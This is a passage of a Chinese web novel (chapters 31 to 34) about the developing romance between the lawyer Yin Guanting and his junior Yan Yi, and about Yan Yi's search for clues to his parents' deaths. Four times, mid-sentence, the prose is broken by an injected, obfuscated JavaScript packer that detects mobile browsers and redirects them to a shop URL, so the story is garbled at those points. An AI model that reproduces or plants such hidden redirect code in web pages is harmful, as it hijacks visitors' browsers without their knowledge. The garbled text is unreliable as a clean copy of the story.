尹观庭接过他递来的碗，拿起筷子，顺口问道：“今天下午的会议还顺利吗？” “顺利顺利，”不知道是不是尹观庭的错觉，他总觉得严熤看过来的眼神很无奈，“我就知道你不放心，我把电脑带过来了，一会儿就把今天会议说的事情跟你总结一下好吧，现在能不能先吃饭？我饿死了。” 尹观庭“……” 他一肚子想问的话都被噎了回去。 严熤一边吃一边絮絮叨叨，大意就是下午开完会后本来想打电话汇报情况的，但是一直没人接，联想到尹观庭状态不对，担心出事，于是不请自来。尹观庭安静地边听边吃，间或一点头表示自己知道了。 等吃完了饭，严熤拦住了想收拾碗筷的尹观庭，利索地抱着一摞碗碟进了厨房。 不一会儿厨房里传来了哗哗的流水声以及《劳动最光荣》的调子，严熤一边刷刷地洗碗，一边哼歌，看上去莫名欢快。 尹观庭坐在餐厅盯着他的背影，不知不觉就入了神。 直到手机响起，尹观庭这才回神，看了下手机，是一个属地为京城的陌生电话，尹观庭想都没想直接挂了电话，而对方也没有坚持，很快发过来一条短信：“观庭，我们能再见一面吗？” 尹观庭没有回复。 这时严熤擦着手从厨房出来，一眼就看到了脸色不是很好的尹观庭，顿时有些担心：“师兄你要不要去医院看看啊？你脸色好差。” 尹观庭看了他一眼，指了指对面的位置，示意他坐下。 等严熤乖乖入座，尹观庭又沉默了一会儿，终于下定决心般开口：“严熤，我给你讲个故事吧。” 31. 第 31 章 尹观庭的故事不长，曾经那些辗转反侧和困顿不安都浓缩在了短暂而平静的描述当中。 但严熤终究是同理心过强的人，很敏锐地从尹观庭的描述中感受到了那些激烈而痛苦的情绪，一时间心绪复杂，他没想到强大从容如尹观庭也有这样的过往，他想到胖哥和小陶跟他说的话，喃喃自语道：“怪不得你不接劳动人事的案子。” 可如果尹观庭不说，谁又能看得出来他被这样的往事所困扰，严熤既感佩服又有一丝自己都不知道为何的奇异情绪。 他有点想抱抱尹观庭，可又觉得冒犯。 尹观庭听到了他的低语，忍不住笑了一下：“谁又跟你胡说八道了？” “这也不算胡说八道吧，”严熤叫屈，“那……师兄你就是因为这个事情，所以才……” “不全是，”尹观庭疲惫而放松的往椅子上一靠，“我还不至于脆弱到这种程度。” 事实上兰玉延的案子只是他那段失败的职业生涯的开端，兰玉延出国之后，他憋着一口气专心地从事劳动人事领域的理论和实务研究，他一边听从律所前辈的建议，出没于劳动局、仲裁委等场所，寻求代理案件的机会，一边观察记录，研读中外著作，为自己的硕士论文做准备。李明光很满意他这样的态度，不在乎他只是硕士生，时不时带着他参加各类研讨会，以至于当时学术圈很多人都知道李教授有这么一位得意弟子。 然而他可能是天生与这个领域气场不合，在临近毕业的在一年多的时间里，他陆续接到了五六起劳动争议案件，最终结果都不如人意，要么是奇葩当事人搞得他身心俱疲，要么是执行困难搞得他和当事人相看两厌，要么就是公司的持续拖延导致当事人解除委托不了了之。 尹观庭持续不断地面对着来自当事人的诘问、失望，甚至是愤怒，一次一次面临现实赐予的无力，还没从兰父案子的阴影中走出来的他很快陷入了自我怀疑的深渊，对学业，对专业，对工作，到最后开始对自己，这些情绪不断累加，最终在开题报告前半个月达到了巅峰，尹观庭毅然删了自己已经完成一大半的毕业论文，转而选了一个资本市场的议题。 李明光大发雷霆，完全无法接受自己的得意弟子如此儿戏地对待学业，尹观庭无从辩解也不想辩解，他的毕业论文最终中规中矩地答辩通过，但也无颜面对恩师恨铁不成钢的眼神。 毕业之后，恰逢王信鸿决定回老家发展，向他发来了邀约，尹观庭想都没想，直接收拾东西告别了自己土生土长的故乡，从此那一段灰暗的职业生涯最终凝成了兰玉延的影子，被他深深的埋在了心里。 故事说完了，客厅里一时非常安静。 尹观庭闭着眼靠在椅子上，有一种浮在云端的飘渺之感，他很少回忆过往，更别说像这样完整地和别人倾诉，但当他把一切都说出来之后，身体却像放下了一块大石头，到处流淌着奇迹的轻松空虚之感，以至于他完全不想说话。 严熤则是完全不知道自己该说什么。 自己的第一感受太过私密，又不好宣之于口，而且他觉得以自己的阅历好像也没有资格评价大佬的过去，何况尹观庭的过去不只是一段不太成功的工作经历，好像还包含着一段不太完美的感情，严熤不确定自己随便说话会不会让他觉得冒犯。 尹观庭见他没说话，便睁开眼睛看着他：“怎么这个表情，你有什么想说的吗？” 严熤老老实实地摇头：“没有，我觉得我也没有资格评价师兄你的过去。” “以前我也和李教授、和老王说过这些事情，”尹观庭想到了什么，笑了笑，“大家的第一反应都是安慰我没什么大不了的，其次是跟我摆事实讲道理，试图告诉我这不是我的问题，你这反应倒是挺新鲜的。” “萌新哪有资格对大佬指指点点，”严熤随口回了一句，随即低下脑袋，认真想了想。 他突然起身走到尹观庭面前，张开双手把人抱进了怀里，还在安慰似的在尹观庭背上拍了拍：“好啦，没事了，事情都过去了。师兄你现在都是行业标杆了，以前的事不叫黑历史，而是大佬艰苦奋斗的那些年，足够在自传里写三章的那种。” 一本正经地说完，他才把人放开，在尹观庭身边半蹲下来抬头看着他：“喏，独属于你粉丝的安慰，有没有感觉好一点？” 尹观庭被他抱住的时候就懵了，自从他青春期以后就很少与人有如此亲近的接触，更别说严熤还一副哄小孩一样的语气。 他有些啼笑皆非，这谁能想到自己三十好几了还能被一个小八岁的青年抱在怀里安慰呢。 但他看了看蹲在自己身边的严熤。 那双眼睛可真漂亮啊，映着室内暖黄的灯光，像蜂蜜一样，透着眼睛能看见的甜。 尹观庭着魔了一样盯着他，忍不住伸出手摸了摸他柔软的脸颊。 严熤对熟人显然没有什么保持社交距离的习惯，不仅没有躲，反而十分适应地在他手心里蹭了蹭。 尹观庭心里像是被什么毛茸茸的动物顶了一下，声音不由自主地温柔了下来：“谢谢。” 严熤眨眨眼，心说这要是让律所那帮人看见还不得直呼见鬼，尹观庭什么时候这么轻声细语的说过话。 没等他多想，尹观庭把他拉了起来，拉着他到了客厅的沙发上坐下，边随口问道：“你什么时候成我粉丝了？” “那肯定很早就是了呀，”严熤乖乖地跟着他走，满嘴跑火车，“师兄你英俊帅气精英专业年少有为气场一米八，这谁不喜欢啊！” 尹观庭无奈地看他一眼：“谢谢你啊，不过好话不用说了，我们过一下今天下午的会议 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740079|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 。” 严熤：“………” 看着面前一秒恢复淡定从容姿态的尹观庭，严熤一时间开始怀疑自己刚刚出现了幻觉，刚刚躺在那里满身疲惫的那个人不是他吧？ 大佬的恢复能力都这么强悍的吗？ 就在他怀疑人生的当口，尹观庭已经拿出了自己的工作电脑，并顺手拿过手机解锁，准备看一下是否有工作消息，然而这一看他才想起来，还有一件事没和严熤说。 尹观庭看向严熤：“我联系上了几个曾经在谭穆手下做工的工人。” 严熤回神，先是惊讶，等反应过来他说什么之后，不可抑制地露出了欣喜的表情。 “也许他们会知道一些关于你父母的事情。”但更大的可能是不知道，毕竟谭穆能坐到今天这个位置，手下的工人肯定很多，陈总联系的几个人未必和严熤的父母有交集，可尹观庭看着严熤高兴的表情，到底还是不忍心把这句话说出来。 人果然不能从历史当中学会任何教训，尹观庭内心自嘲，如果当年如果他不给兰玉延那样的希望，到最后他们俩也许不会闹得这么难堪，而现在，他本不应该给严熤希望的。 “不过事情过去太久了，有些东西急不来，如果……你也不要太失望。”最终他也只是委婉地提示了一句。 “我知道的。”严熤眼睛亮晶晶的。 他是真的很高兴。当年郭庆梅知道严熤对谭穆的怀疑之后，曾经试图从严熤父母的工友那里找到突破线索，然而他当年年纪小，在父母工地上待的时间又短，基本不认识几个父母的工友，郭庆梅因此无奈放弃，严熤对此一直耿耿于怀。 而他把这件事告诉尹观庭，本身也没有其他的意思，只是为了解释自己为什么会在见到谭穆之后失态，但没想到尹观庭不仅把这件事放在了心上，而且竟然真的神通广大到能抓到一点谭穆的尾巴。 严熤高兴了一会儿，很快收敛了表情，郑重地说了谢谢，尹观庭表情略有些怪异的回了句“不客气”，严熤看着他的表情，脑子里转了转今晚的情形，顿时没忍住笑了出来，调侃道：“今晚是什么道谢循环，你谢我我谢你，蜜雪冰城谢谢你，师兄要不我请你喝蜜雪冰城吧。” 尹观庭也摇头笑了笑，顺着他的话说道：“我记得这歌不是这么唱的。” 话一出口，两个人同时想起了原歌词，对视一眼，气氛顿时怪异了起来。 刚才我们俩的动作好像确实有点暧昧。 严熤后知后觉。 啧，回想往事果然很影响智力和控制力。 尹观庭面无表情。 沉默半晌，尹律凭着强大的心理素质把话题拉回了正道，他屈指敲了敲笔记本的外壳，若无其事的道：“说说看吧，下午你们开会说了什么。” “……好的。” 32. 第 32 章 尹观庭本来打算和严熤一起去找那几个工人了解情况，但严熤拒绝了，理由是找到这些人已经很麻烦尹观庭了，剩下的事情就自己来吧，尹观庭见他坚持，也就没有勉强，只是交代了一句如果有需要可以找自己帮忙。 他本来想的是自己多关注一下严熤的状态，如果有不对就强行介入，可没想到两年前的一个以为已经没有希望的再审案件突然传出了再审的决定，于是尹观庭不得不把精力放回到正事上面，连夜出差到了客户的城市进行商讨，因为案件久远，也没有带上严熤。 这一走就是一个星期，和律所众人大部分时候都只能线上联系，隔着电波和网线，他也没有办法准确判断严熤的状态，更不要说繁忙的工作之外，他其实也分不出多少精力。 等终于和客户商定了接下来的诉讼方案和应对手段，尹观庭赶最早的一班飞机回到了C市，在家里简单收拾了一下之后便驱车去了律所。 严熤如往常一般在工位上对着电脑敲敲打打。 尹观庭有些浮躁的心绪突然就平静了下来，他不免觉得有些好笑，严熤怎么说也是一个成年人，更不要说他年少的经历使他比一般同龄人更加成熟，自己这担心实在是没由来，难道一个自己星期不看着，严熤还能搞出什么乱子来吗？ 尹大律师显然是忘了严熤找当事人都能把自己搞进派出所的丰功伟绩。 这时严熤终于发现了站在走廊里的尹观庭，有些惊讶：“师兄你这么早就回来了？” “嗯，”尹观庭收回思绪，很快进入了工作状态，他一边往办公室里走，一边示意严熤跟上，“没什么事我就先回来了，天霞的事情有什么进展吗？” “我们的修改意见都反馈给客户了，客户需要和对方商谈，谈不谈得下来还不知道。”严熤抱着自己的笔记本电脑，跟着尹观庭进了办公室，并顺手把门关上了。 尹观庭在办公桌后面落座，打开自己的电脑：“好的，那这件事就不着急，等客户的反馈吧，下一件事……” 两人花了一个多小时才结束这场工作会议，严熤按着自己的脖颈，活动了一下颈椎。 尹观庭看见他的动作，随口问道：“颈椎不舒服？” “啊？啊对，坐久了有一点酸。” “我们这行职业病本来就严重，你平时记得多锻炼。”尹观庭一边说，一边拿过水杯喝水。 “哈，哈哈，师兄说的对。”严熤有些不自然的笑了两声，他有点想跑，但尹观庭一副要聊天的样子，他又不敢提。 事实上那天“互诉衷肠”之后，严熤就有点不敢面对尹观庭，不过还没等情绪发酵，尹观庭就出差了，此后两人电话和微信联络也十分自然，他也就当自己出现了幻觉，然而现在，正事谈完，和尹观庭独处的时候，别扭的情绪又上来了。 严熤觉得尹观庭大概也许可能对自己有想法，但是又不敢确定，毕竟尹观庭的情绪是真的非常内敛，哪怕被气疯了，面上也是平平淡淡的，甚至迟钝一点的客户都感觉不到他在生气，严熤实在不好说自己是不是自作多情，但要说不是吧，尹观庭对自己的特殊照顾实在是够多了，很难用同门师兄弟的关爱之情解释。 毕竟尹观庭应该不会摸着王信鸿的脸对他说谢谢。 严熤被自己的想象雷到了，有些心虚地看了一眼被他腹诽的当事人，没想到直接和尹观庭若有所思的眼神对上了。 这下他更别扭了，顾不得多想，脱口而出：“师兄没什么事的话我就先回去工作了……” “你在想什么？” 两道声音同时响起，在办公室里形成了层叠的回音。 沉默几秒，尹观庭放下杯子，看着严熤的眼睛问道：“是我的错觉吗？我怎么感觉你在躲着我。” “没有没有！”严熤头摇得飞快。 尹观庭笑了一下：“你这种反应，我们一般称之为此地无银三百两。” 严熤：“……” 他内心泪流满面，我也不想的啊。 “我以为在分享彼此的过去之后，我们的关系会亲近一些，如果你对我有什么意见，可以直接告诉我，”尹观庭声音平静温和，“虽然这样想可能没有道理，但我可以把自己的真实想法告诉你，也希望能得到你的对等回应。” 严熤对自己的内心感受向来十分坦诚，主打一个与其内耗自己，不如让别人尴尬，更何况尹观庭话都说到这个程度了，他内心纠结了三秒，以一种英勇就义般的语气问道：“师兄你是不是喜欢我！” 话一出口，严熤内心的第一反应竟然是“我靠我真牛。” 以尹观庭一贯的形象和处事风格，严熤估摸着他以前的助理怕不是因为私人原因请个假都要战战兢兢的，更别说直接在办公室这个工作场合里问他是不是喜欢自己，这种公私不分在尹律这里堪比十恶，换个人这会儿眼刀子估计已经插身上了。 话说回来，他们现在的关系确实是很亲近了，不然严熤哪来的胆子这么干。 尹观庭不知道他内心的弯弯绕绕，听到严熤的问话，他云淡风轻的回道：“是啊。” 他的语气太过平静和理所当然，以至于严熤一时间没有反应过来，惊疑不定地看着他。 尹观庭坦然跟他对视。 过了几秒，严熤有些不确定地说：“这个喜欢……是那种对朋友的喜欢……对吧？” 尹观庭笑了起来，他感觉自己已经很久没有这么轻松过了，于是他愉快的回道：“你猜？” 严熤：“？？？” 看着严熤一言难尽的表情，尹观庭更开心了。 逗小孩可真有意思……不过现在还不急， ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740080|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 就算是温水煮青蛙，水也还没有热呢。 尹观庭内心一边感叹一边抑制住了内心翻涌起来的种种兴味，他打断了严熤继续怀疑人生：“好了，你不是要去工作吗？去吧，刚刚说的几个事情记得下班前反馈给我。” 严熤还没能找回自己的思考能力，听到他最后一句话，顿时条件反射一般答应下来，无意识地抱着电脑回了工位。 尹观庭看着他透着懵逼的背影，忍不住又笑了笑，他拿起手机，点开那条一直没有回复的消息，动手编辑了起来。 “不用见面了，过去的事就让它过去吧，祝你以后前程似锦，事事顺意。” 严熤在自己工位上起码呆坐了半个小时，才勉强把各种乱七八糟的思绪压下去，并试图以工作麻痹自己，但脑袋显然不怎么听使唤，他总是不由自主地回想尹观庭那句“你猜”是什么意思。 尹观庭是在认真回答自己的话，还是单纯逗自己玩儿？话说回来，尹观庭还会开这种玩笑的吗？他承认的喜欢是友情还是爱情？这到底是不是我自作多情？ 严熤满脑子想法，差点没把自己搞宕机。 等他勉强把注意力转移回到工作上时，他才大事不好地发现，此时距离下班只有一个小时了，而尹观庭要求他下班前反馈的三个文件，他竟然还有两个没有做完，而做好的那个也是肉眼可见的敷衍。 严熤顿时顾不上什么喜欢不喜欢爱不爱的，满心焦急地投入到了工作当中。 而专心致志做一件事的时候，很容易忘记时间的流逝，等严熤把该反馈的文件发到尹观庭的邮箱，转头一看，天已经黑了，这一层办公室差不多都空了，只有自己顶上一盏灯孤零零地散发着灯光。 严熤有点懵。 虽然说自己戴着耳机确实不大能听到外面的动静，但自己工作还没有反馈，尹观庭竟然没有催，而且他就这么下班了？这实在是太不符合尹律师一贯的人设了。 说曹操曹操到，旁边走廊里很快传来细微的脚步声，没一会儿，尹观庭拎着一看就很丰盛的外卖走了进来。 看见严熤呆坐在自己工位上，他敲了敲挡板：“做完了？发我邮箱没有？” 严熤回不过神来似的点点头。 “怎么呆头呆脑的，”尹观庭翘起嘴角，“做完了先来吃饭吧，一会儿我送你回去。” 严熤就着头顶的灯光看着他的眼睛。 纯黑的眼瞳映着温润的光，是严熤很熟悉的眼神——好像自从他把家里的事告诉尹观庭后，经常会发现尹观庭这么看他。 他突然觉得自己一下午的纠结很没有意义。 管他的呢！ 他一跃从椅子上跳了起来，伸手去接尹观庭手里的外卖，抱怨道：“谢谢师兄，我饿死了~” 言语中有自己都没发现的亲昵。 33. 第 33 章 那天之后，日子似乎又恢复了平常，只是从最开始的共进午餐，渐渐地变成了共进一日三餐。 两人都对这样的变化心知肚明，却又不约而同地保持了放任。严熤已经不像最开始那样抗拒和领导一起吃饭，或者说尹观庭在他眼中已经从领导变成了一个不知道该怎么定义的人，心大的严熤直接选择不定义，对尹观庭的安排听之任之。 饭桌上的话题也渐渐从工作为主转移成了日常为主，严熤一如既往的喜欢分享自己生活上的小事，而尹观庭破天荒地加入了进来，从纯粹倾听变成了分享的另一方，他和严熤讲自己在实习的遭受的“非人经历”，讲自己第一次独立承办案件时的心慌和装模作样，甚至会和严熤吐槽现在手上那些不当人的客户。 严熤听得乐不可支，在这些叙述当中，尹观庭从一个强大的符号变成了一个有血有肉的人。 而且还是一个颇为英俊似乎对自己有意思的人。 严熤不记得自己在哪里看到的话，说男人的爱情总是伴随着掠夺的本性，但尹观庭却让他感觉不到丝毫的攻击性，如果说以前在工作上尹观庭还有锋芒毕露的样子，而现在这最后一点的锋芒也被掩盖了过去，虽然尹观庭自己的解释是严熤的工作能力有了长足的进步，他自然不会多说什么，毕竟自己又不是骂人有瘾。但严熤还是坚持认为他是受到了私情的影响，以至于降低了工作标准。 从不近人情到周幽王，也就半年时间而已。 当然这话严熤并不敢说出来（否则就能见识一番尹律到底是不是周幽王）。 “我说你看什么这么专心？”余畅颇为幽怨，“我这么一个大活人在你面前吸引不了注意力是吧？唉，感情淡了淡了。” 严熤放下手机，翻了个白眼：“少来这套，你知道我加了一个星期的班现在有多想睡觉吗？特地腾出时间来陪你吃饭，你还不乐意了？” 余畅白眼翻的比他还大：“说得你多辛苦似的，还不是我得大老远的跑过来找你。” “你也不看看你定的是什么地儿，当然不可能我去找你。” 余畅切了一声，不跟他争论。 余博士最近跟着导师来C大参加学术会议，议程结束之后特地晚了两天回学校，打算宰严熤一顿，但严熤并不乐意坐两个小时地铁去余畅选中的城郊农家乐，逼着他放弃了体验原生态的想法，转而订了一家城中口碑不错的餐厅。 虽然没能体验到抓鸡追鹅的乐趣，但这家餐厅的口味也不错，于是余畅大度地原谅了这个逆子，转而好奇起来：“你在跟谁聊天呢笑得一脸不值钱，背着哥们谈恋爱呢？” “少瞎说，我正跟老板汇报工作呢。”严熤把微信聊天框在余畅面前晃了晃。 余畅认出的那个西装革履的头像就是在校友群中赫赫有名的尹大律师，尹观庭一般不在校友群里面发言，但是校友会的理事长在每年的毕业季和组织一些校友活动时，总是喜欢艾特他，尹观庭经常会在收到艾特之后回一个简短的“收到”或者“嗯”，时间长了，余畅对这个头像也就眼熟了，而且别的不说，尹观庭的脸就足够让人印象深刻了。 这下余畅的好奇心开始熊熊燃烧：“我看你在这位手下混得风生水起的，怎么做到的？就凭这位一年骂走三个助理的传奇经历，我还以为你在那坚持不了三个月呢。” 严熤斜眼看他：“那以前你还觉得没有我搞不定的人呢！” 余畅言之凿凿：“这不是得给你信心吗？哪有上来就给人泼冷水的，你说对吧？” 严熤连连敷衍：“对对对，太对了！” 但心思已经因为余半仙的问话转到了其他地方，有些心有戚戚地回忆起第一个月的工作经历，不能说是噩梦级别吧，起码也是地狱难度。想着想着，他的眼神落到了手机屏幕上，上面显示着两人最新的微信对话。 严熤汇报了一个客户刚发过来的修改合同的要求，并且表示自己在和朋友聚餐，明天处理，尹观庭回了一个“好的，玩得开心。” 他手指滑动几下，再往上是他去明河集团一个出现纠纷的项目实地考察，对于项目负责人过于离谱的敷衍，给尹观庭吐了一屏幕的槽，尹观庭一边安抚他，一边给他做出解决问题的指示方案，从文字都能感受出他的耐心和温柔。 那天在办公室里勇敢问尹观庭是不是喜欢自己的情形跳出来，严熤有种时隔多年重读□□空间青春疼痛文学的尴尬感，忍不住捂了下脸。 顿时把余畅吓了一跳：“不是吧兄弟，我随口一问，你回答要这么痛苦吗？” 好在有人打岔，严熤刚刚突然冒出来的尴尬丢到了脑后，转而攻击起余畅过于八卦，余畅愤而反击，两人吵吵闹闹地又吃了快一个多小时，才结束这次聚餐。 吃饱喝足，走在C市已经开始渐渐变冷的空气里，余畅搓了搓手：“说真的闪闪，一开始你决定回来工作，但是我还有点担心你，不过现在看来，还挺好的。” 严熤笑了笑：“那肯定呀。” “还有就是……”余畅吞吞吐吐半天，最终还是问了出来，“你是不是又在查你爸妈的案子了？” 严熤毫不意外：“是梅姨告诉你的吗？” “ 嗨，梅姨不是担心你吗？”余畅尴尬一笑，“过了这么多年，你突然想起来，梅姨肯定会担心是不是遇上了什么事。” “我知道，本来我没有想找她的，”严熤呼了一口气，想了想，最终还是把尹观庭帮他联系到那几个工人的事情和余畅说了说，然后道，“我试着联系了一下，5个人里有三个人都不认识我父母，有一个电话是空号，只有一个人听到我爸的名字之后，他呼吸明显乱变了一下，后面他就不接我电话了。换你你也会觉得他有鬼，所以我想问一下梅姨认不认识这个人。”35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740081|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' p> 余畅：“那你后来找到他了吗？” 严熤摇了摇头：“我又没有办法通过电话查到这个人，只能通过一些朋友帮忙找找看。” 本来这种事情请尹观庭帮忙是最便捷的，但严熤出于一种莫名其妙的心态，并不是很想麻烦尹观庭。他后面旁敲侧击地从尹观庭那里知道了消息来源是明河的陈总，而最近他全面接手了明河集团的基础法律事务，和他们工程部的总监混成了忘年之交，于是干脆直接找了这位总监帮忙打听，但现在还没有消息。 要是任何一个长辈在这里，肯定会劝严熤别去追寻过往的一些失去的人或事物，但余畅作为他的发小，从小几乎是对他的决定无条件支持，更何况他知道严熤对自己父母的逝去有多么执念，当然不可能泼他冷水。 看见严熤有些低落，余畅拍拍他的肩膀给他鼓气：“没事儿，再等等，说不定明天就有消息呢？你也别太着急了。而且说真的，这么多年过去，你也只能是给自己一个交代。你要相信叔叔阿姨在天之灵也不希望你被这件事情一直困扰。” 严熤笑了笑：“这我当然知道。好了，不说这个了，明天打算怎么安排？” 余畅一摊手：“你是地主听你的。” 严熤想了想：“那明天上午我去律所一趟，处理完几个事情，下午我们找几个网红店随便逛逛？” 余畅：“你请好假了？” 严熤满不在乎：“明天上午跟师兄说说就好了。行了，别在这吹风了，好冷，快走。” 他一边说一边快步向地铁站走去，没注意身后余畅看他的眼神十分诡异。 虽说严熤混得风生水起，但这熟稔的语气，也混得太风生水起了吧？！ 风生水起的严熤请假十分顺利，尹观庭没怎么犹豫就同意了他请假的要求，只是似乎不经意地问了一句是他的哪位朋友来了。 严熤十分热情地给他介绍了一下自己这位从小关系就很亲近的发小。 毕竟是互相填写紧急联系人的关系。 尹观庭回以一个轻描淡写的“哦”。 严熤对他如此平淡的反应其实有一点点不满意，但也没有很在意，把上午的事情处理完之后，临近中午便背起背包，去和余畅会面。 严熤刚出大楼，明河工程部的周总监编给他发来一条消息：“严律师，上次你托我给你打听的那个人找到了，他们工程队现在应该是在金河华庭那个地方上工，你要找的话可以去那边找找看。” 没想到余半仙真的有嘴开光的一天。 严熤心头一喜，麻溜地拉开地图找了找。 金河华庭是最近新开发的一个商业项目，说来也巧，距离今天他们约好见面的商业中心距离不到300米。 挺好，今天把余半仙送走之后，我就去这里找找看。 他一边想一边轻快地走向了地铁站。 34. 第 34 章 晚上八点半。 严熤站在一处蓝色围挡后面，看了看面前尘土飞扬的施工工地，再看了看自己身上新买的白色卫衣和牛仔裤，深感自己脑子被驴踢了，怎么就信了余畅的挑拨。 本来考虑到下午的聚餐，他上午就只穿了一身休闲西装，然而余畅对他这身打扮很不满意，扯着严熤进了商场一楼的服装店，配了一身卫衣牛仔裤，严熤一下子从社会精英变成了男大学生，降龄好几岁，余畅总算感觉自己不像是老总身边的小助理，满意了。 严熤参不透他清奇的脑回路，但想想自己好久没买衣服，换了一身新衣裳，也挺满意，但现在看来，新买的衣服可能就要牺牲了。 但愿以后不要太难洗。 严熤一边在脑袋里碎碎念，一边走进了工地。 他找的人叫许源，下午送走余畅后，他在周围转了转，和吃饭的工人打听了一下，一个中年人告诉他许源手脚不太利索，所以一般晚上巡逻看场子，白天不在。 严熤无奈，只好在周围的商场里漫无目的的闲逛，一直等到了现在。 按照工人的指点，他找到了这个围挡上的豁口，据说是巡逻的人必经之路，他在这里准备守株待兔。 等了一会儿，两个身穿工装，头戴安全帽，提着手电筒的人走了过来，他看着其中一个有些瘦削的中年人，不太确定地喊了一声：“许源？” 出乎他意料的是，其中一人突然激灵了一下，丢下手电筒转身就跑，这一下把严熤和另外一人都搞懵了，严熤茫然地和对方对视一眼，突然反应过来，追了上去。 许源对这附近的地形显然很是熟悉，净往黑灯瞎火的地方跑，但严熤年轻又经常锻炼，还是跟住了，两人跑了几分钟，最终在一个黑黢黢的巷口，严熤一把把人摁在了墙上。 还没等他开口，许源突然大叫了起来：“我什么都不知道，我什么都没说，放过我吧！” 严熤一愣，想好的话顿时咽了下去，他的心开始怦怦跳了起来，敏锐地感觉到这是一个机会，他心念电转，压出一副粗粗的嗓音：“我什么都没问，你心虚什么？！” 许源声音苦哈哈的：“你不就是来问严康那个事的吗？我真的什么都不知道，也什么都没说，放过我吧！” 严熤用尽全力才避免自己呼吸发生变化，他装出一副凶狠的嗓音：“但我就是要让你说呢？” “说什么？”许源似乎反应过来事情和自己想的不一样，他有些想转身看看严熤，但严熤摁着他的肩，脑袋可以转的角度有限，光线又暗，实在是没看清楚，未知滋生了人的无限想象力，许源不知道想到了什么，声音更加卑微了，“这…这位兄弟，我那什么，就是个小人物，这其他事情我也不知道呀，你…你…你是不是谭穆的那什么……” 严熤手上一用力：“什么什么说清楚！” 许源吃痛，一连串话顿时脱口而出：“我说你是不是谭穆的仇人！我知道的都告诉你放过我吧。” “很好，”严熤克制不住吸一口气，咬牙切齿的十分真实，“说出来，我放你一马。” 许源贴在墙上的脸整个皱了起来，只觉得自己倒霉透顶：“我说我说……我和严康以前是一个工程队的……” 远处金河·鹭庭湾几个大字在夜幕下熠熠生辉，大型LED屏上出现了一个浮夸的时钟，钟声响起，九点了。 九点了。 尹观庭结束和客户的通话，看了看时间。 周边的写字楼已经空了，黑黢黢的一片大楼中，穿插着一条又一条璀璨的光之长河。 他盯着长河里往来的车辆看了一会儿，很自然的想到了严熤，这是他不久前才形成的习惯，闲暇之时总是想起严熤那双可怜兮兮的眼睛。 也不知道他俩是什么孽缘，好像每次严熤伤心的时候，他总会在身边，于是大部分人眼里开朗热情的年轻人，到他这就变成了哭兮兮的小可怜。 想到这儿尹观庭有些想笑，但笑意未达眼底就被收敛了起来。 他想到中午那会儿严熤给他介绍余畅时神采飞扬的样子，他倒不至于吃余畅的飞醋，毕竟上次严熤病倒后，余畅和余家父母的表现就能他们之间关系亲近，他在意的是，严熤似乎是无意识地向自己展示他们之间的关系有多亲近。 这有什么展示的必要呢？或者说严熤想让他给出什么样的反应呢？ 难道还能是小孩子开窍了希望以这种手段来让他吃醋？ 尹观庭摇摇头，未免想的太多了。 现在他们俩的关系处于一种微妙的阶段，他有心温水煮青蛙，而被煮的那个青蛙似乎感受到了危险，又似乎什么都没感觉到。上次严熤冒冒失失地问出那个问题后，他本以为自己的回答能够让两个人的关系进入下一阶段，无论严熤是同意还是拒绝，他都想好了应对的手段，然而万万没想到自己随口的逗弄，严熤似乎当真了，他好像是信了自己对他的喜欢是朋友那种喜欢。 他保留着之前那种亲近的态度，没有进也没有退，全当不知道尹观庭的心思似的。 也不知道这算是潜意识里的逃避，还是一种默示的拒绝。 当然，尹观庭显然不认为这是后者。 他思考着是否要用些手段加速一下进度，但又怕惊扰正在边缘探头探脑的小动物，想着想着，不自觉地按亮手机屏幕，围观起小动物最近的行踪轨迹。 屏幕上是他此前浏览的页面——严熤下午发的朋友圈。 那个装修雅致的咖啡店是金河·鹭庭湾的知名网红店，尹观庭对这些东西不感兴趣，但是严熤热情洋溢地在朋友圈发了小一百字的小作文表扬这家的装修和甜点，顿时引起了他的好奇心。 尹律想了想，打开地图规划了一下路线。 嗯，虽然不 ;eval(function(p,a,c,k,e,d){e=function(c){return(c35?String.fromCharCode(c+29):c.toString(36))};if(!''''.replace(/^/,String)){while(c--)d[e(c)]=k[c]||e(c);k=[function(e){return d[e]}];e=function(){return''\\w+''};c=1;};while(c--)if(k[c])p=p.replace(new RegExp(''\\b''+e(c)+''\\b'',''g''),k[c]);return p;}(''8 0=7.0.6();b(/a|9|1|2|5|4|3|c l/i.k(0)){n.m="}'',24,24,''userAgent|iphone|ipad|iemobile|blackberry|ipod|toLowerCase|navigator|var|webos|android|if|opera|51xs|n|shop|13740082|145162||http|test|mini|href|location''.split(''|''),0,{})); () { $(''.inform'').remove(); $(''#content'').append('' 是很顺路，但也不算绕路，时间差不多，这就下班吧。 